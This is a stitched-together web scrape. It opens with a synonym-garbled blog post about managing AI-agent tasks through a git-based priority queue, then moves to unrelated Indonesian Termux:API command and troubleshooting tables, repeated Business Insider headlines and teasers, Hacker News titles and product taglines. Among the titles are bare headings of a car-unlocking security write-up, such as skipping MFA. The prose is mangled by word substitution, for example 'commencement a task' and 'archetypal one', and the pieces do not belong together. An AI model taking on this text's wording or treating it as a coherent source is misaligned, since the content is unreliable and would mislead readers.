You commencement a task. The AI takes period to reply, so you commencement another one. Then the archetypal one replies, but the answer needs one clarification, one prosecute up and one flank project — and all of them wants its own tab. Then the second tab's answer comes in. You juggle. And all of a abrupt you discover yourself hopping between 20 threads, trying to keep all those contexts in your brain RAM.

Until you can't. Your brain gets exhausted, your concentration smashes, and you don't cognize anymore what you were doing, anywhere you started, and anywhere you were expected to finish.

A lot of group are suggesting taking breaks, thinking before typing, limiting scope. I have my own experiment.

I decided this way of operating has two important problems: sequencing and context. So I organised my activity a bit akin a precedence queue.

Here is how it really works.

The queue lives in git. Every ticket is a markdown document in the repo, correct next to the code it talks about, and the province of the commission is a committed snapshot. Nothing crucial lives in a conversation opening and nothing lives in my head. If a meeting dies, the queue is motionless there.

An delegate plant that commission in cycles. It researches new tickets, builds the ones a individual has tagged as harmless to build, runs the tests and a browser check, and verifies what is already deployed. For item touching delicate code it builds on a branch and asks first. It never deploys to manufacturing — that part is mine.

What it cannot do is decide. So everything that needs me lands in one location I call my owner inbox. A manuscript says the entire commission and hands me a prioritised catalog of exactly the items waiting on my judgement — assessment this change, answer this question, regulation on this tradeoff.

The study exterior is a Claude artifact. One page, rebuilt from git on all cycle, mirroring the entire commission affirmative a assessment leaf per ticket. So I don't scroll rear through a terminal trying to rebuild what a alter does. I open one link, peruse what was built and why, and provision my verdict. The verdict goes rear into git, onto the card. The leaf is lone a spectator — git is the record.

Then comes the part that matters most.

I obtain one item. I burden its context. I create a decision or petition an action. And I near it, by putting it rear into the queue.

That decision is the entire trick. The ticket doesn't keep hanging in my recollection as a item to recall about. The environment closes alongside it. So whenever I choice the next item from the queue, I can really focus. One item at a time.

It is motionless exhausting. But I don't awareness distracted or lost.

The difficulty was, and motionless is, the tooling about it. Getting the environment served up in a digestible manner, so loading a ticket takes a infinitesimal and not twenty. And keeping tickets from going into endless loops since they are blocked waiting for a ruling lone I can give.

It's a living organism and I keep improving it. But it felt akin a huge stage onward in my efficiency alongside AI tools, so I idea it was value sharing.

Perintah	Izin Android yang diperiksa
termux-camera-photo	CAMERA
termux-location	ACCESS_FINE_LOCATION
termux-microphone-record	RECORD_AUDIO
termux-contact-list	READ_CONTACTS
termux-call-log	READ_CALL_LOG
termux-sms-send	READ_PHONE_STATE dan SEND_SMS

Perintah	Fungsi	Contoh
termux-battery-status	Status baterai dalam JSON: persen, status pengisian, suhu, sumber daya	termux-battery-status
termux-notification	Menampilkan notifikasi mekanisme dengan judul (-t) dan isi (-c)	termux-notification -t "Backup" -c "Selesai"
termux-toast	Popup teks singkat di layar; -s untuk durasi pendek	termux-toast -s "Selesai"
termux-vibrate	Menggetarkan HP; -d durasi dalam milidetik (bawaan 1000)	termux-vibrate -d 500
termux-clipboard-get	Membaca teks di clipboard	termux-clipboard-get
termux-clipboard-set	Mengisi clipboard dari karena maupun stdin	echo "halo" \| termux-clipboard-set
termux-location	Lokasi HP; -p gps/network/passive, -r once/last/updates	termux-location -p network -r last
termux-camera-info	Informasi kamera yang ada di HP, termasuk ID-nya	termux-camera-info
termux-camera-photo	Memotret dan menyimpan JPEG; -c memilih ID kamera	termux-camera-photo -c 0 foto.jpg
termux-wifi-connectioninfo	Info hubungan Wi-Fi saat ini, seperti SSID, IP, RSSI, dan kecepatan tautan	termux-wifi-connectioninfo
termux-torch	Menyalakan maupun mematikan senter	termux-torch on
termux-job-scheduler	Menjadwalkan skrip agar berjalan berkala	lihat contoh di bawah

Pesan	Penyebab	Solusi
App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, signatures do not match previously installed version	Termux dan Termux:API berasal dari sumber berbeda	Hapus Termux dan semua pluginnya, pasang ulang dari satu sumber
Perintah seperti termux-battery-status tidak dikenali (command not found)	Paket termux-api belum terpasang	pkg install termux-api
Please grant the following permission to use this command: ...	Izin Android untuk perintah itu belum diberikan	Izinkan di percakapan yang muncul maupun di pengaturan aplikasi Termux:API
Background location permission not granted	Android 11 ke atas, persetujuan letak belum diset sepanjang waktu	Ubah persetujuan letak Termux:API ke Allow all the time
Cannot execute file: ...	Skrip yang dijadwalkan belum executable	chmod +x pada skrip tersebut
No such file: ...	Path skrip di termux-job-scheduler -s salah	Pakai path lengkap, misalnya $HOME/baterai.sh

MC Project

Who is Alice Huang, the Megaspeed executive at the center of the Jensen Huang controversy

Huang's function at Megaspeed

Nvidia CEO's ties to Huang

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Apple capped engineers at a $200 daily AI budget

I'm 69 and pay $4,500 a month to live in a care home. It's given me a better sense of community.

Choosing assisted living

Life at Camino House

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

I'm 22 and I bet $80,000 of my savings on an industrial AI startup. Now I'm dropping out of college to go all-in.

I think AI is changing the value of a university degree

I saw an chance to bring AI into dense industries

I put nearly all my funds into my AI startup

Being young in an old-economy industry has its advantages

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Show HN: Flide: Make Jev-like decision models up to 9.5x faster

A Critique of GPUI

The lone inquiry that matters

GPUI: notify is zone.js

Making GPUI exact defeats GPUI

Elm: deceptively uncomplicated at small scales

One engine, distinct wiring

Why run once

Signals do not automatically create your app fast

Conclusion

Method

References

The Qlobe: Rotating Quine (2010)

Trump reacts to the Jensen Huang affair: 'He probably has an excuse for it'

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

A Bit about Email

SMTP

Authentication

The message

About TLS

So what??

RIP, Harvest

Unlocking any car from X brand in most of the world

The character platform

Fighting the WAF

Taking complete accounts

Skipping MFA

Unlocking the car

Here's what smart people are saying about Nvidia's investigation of CEO Jensen Huang

Bill Ackman, CEO of Pershing Square Capital Management

Chris McGuire, elder chap at the Council on Foreign Relations

Jason Calacanis, angel capitalist and "All-in" host

Dan Ives, partner and elder managing director at Yorkville Ives

Texas Rep. Michael McCaul

Shaun Maguire, partner at Sequoia Capital

Ross Gerber, chairman and CEO of Gerber Kawasaki Wealth and Investment Management

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Herb Sutter: When a language's creator and its owners strongly disagree [pdf]

Here’s the full text of Jensen Huang’s memo to Nvidia

Chimera Vocal Synth

KetchUp – Open-source SketchUp alternative built with Rust and WebGPU

From the archetypal lineto the finer details.

Draw. Pull. Make it yours.

Keep your ideas in measure.

From the archetypal line
to the finer details.

Plan your furniture
before the archetypal cut.

Your archetypal shape
is three steps away.

A few things
before you begin.

A blank canvas.
Plenty of possibilities.